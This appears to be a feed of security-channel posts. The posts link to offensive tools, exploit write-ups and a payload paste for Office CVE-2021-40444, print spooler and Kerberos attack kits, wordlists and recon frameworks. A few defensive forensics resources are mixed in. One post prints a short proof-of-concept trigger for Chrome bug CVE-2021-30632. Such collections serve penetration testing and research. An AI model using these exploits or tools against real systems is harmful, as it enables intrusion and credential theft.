CVE-2021-40444

https://pastebin.com/4e9LgNPe

#office #payload

CVE-2021-40444 — Analysis

https://xret2pwn.github.io/CVE-2021-40444-Analysis-and-Exploit/

#office #CVE_2021_40444 #exploit

Active Directory Pentest Mindmap

# https://github.com/Orange-Cyberdefense/arsenal/raw/master/mindmap/pentest_ad.png

# https://www.xmind.net/m/5dypm8/

UPD (12.11.2021):
https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/pentest_ad.png

UPD (10.11.2022):
https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2022_11.svg

#mindmap #ad #pentest

Karma v2

Passive Open Source Intelligence Automated Reconnaissance Framework

https://github.com/Dheerajmadhukar/karma_v2

#osint #recon

targetedKerberoast

Kerberoast with ACL abuse capabilities

https://github.com/ShutdownRepo/targetedKerberoast

#kerberoasting #ad #spn

SpoolSploit

SpoolSploit is a collection of Windows print spooler exploits containerized with other utilities for practical exploitation. A couple of highly effective methods would be relaying machine account credentials to escalate privileges and execute malicious DLLs on endpoints with full system access.

https://github.com/BeetleChunks/SpoolSploit

#ad #spooler #rpc

CVE-2021-30632 — Chrome 0day

var a;
function foo() {
    a = new Uint32Array(100);
}
%PrepareFunctionForOptimization(foo);
foo();
foo();
a["xxx"] =1;
delete a["xxx"];
%OptimizeFunctionOnNextCall(foo);
foo();

#Chrome #0day #PoC

Brute Force Wordlist

Some files for bruteforcing certain things.

https://github.com/random-robbie/bruteforce-lists

#wordlist #bruteforce

5 RCEs in npm for $15,000
robertchen.cc/blog

RCE in Citrix ShareFile Storage Zones Controller (CVE-2021-22941)

Amazing writeup on finding a vulnerability through .NET reversing, enjoyed reading about the breakpoints that were set and how they logically owned Citrix ShareFile through a third party dependency

https://codewhitesec.blogspot.com/2021/09/citrix-sharefile-rce-cve-2021-22941.html

#citrix #sharefile #rce

AzureHunter

A Cloud Forensics Powershell module to run threat hunting playbooks on data from Azure and O365

https://github.com/darkquasar/AzureHunter

#azure #o365

SANS DFIR — Hunt Evil

#forensic #sans #dfir

Beginners Guide to 0day/CVE AppSec Research

Walks through finding open-source web apps, environment setup, debugging for vulns, creating a Blind SQL time-based exploit, and publishing to @ExploitDB/MITRE CVE

https://0xboku.com/2021/09/14/0dayappsecBeginnerGuide.html

#appsec #0day #research

reconFTW

ReconFTW automates the entire process of reconnaisance for you. It outperforms the work of subdomain enumeration along with various vulnerability checks and obtaining maximum information about your target.

https://github.com/six2dez/reconftw

#reconFTW #bugbounty #hacking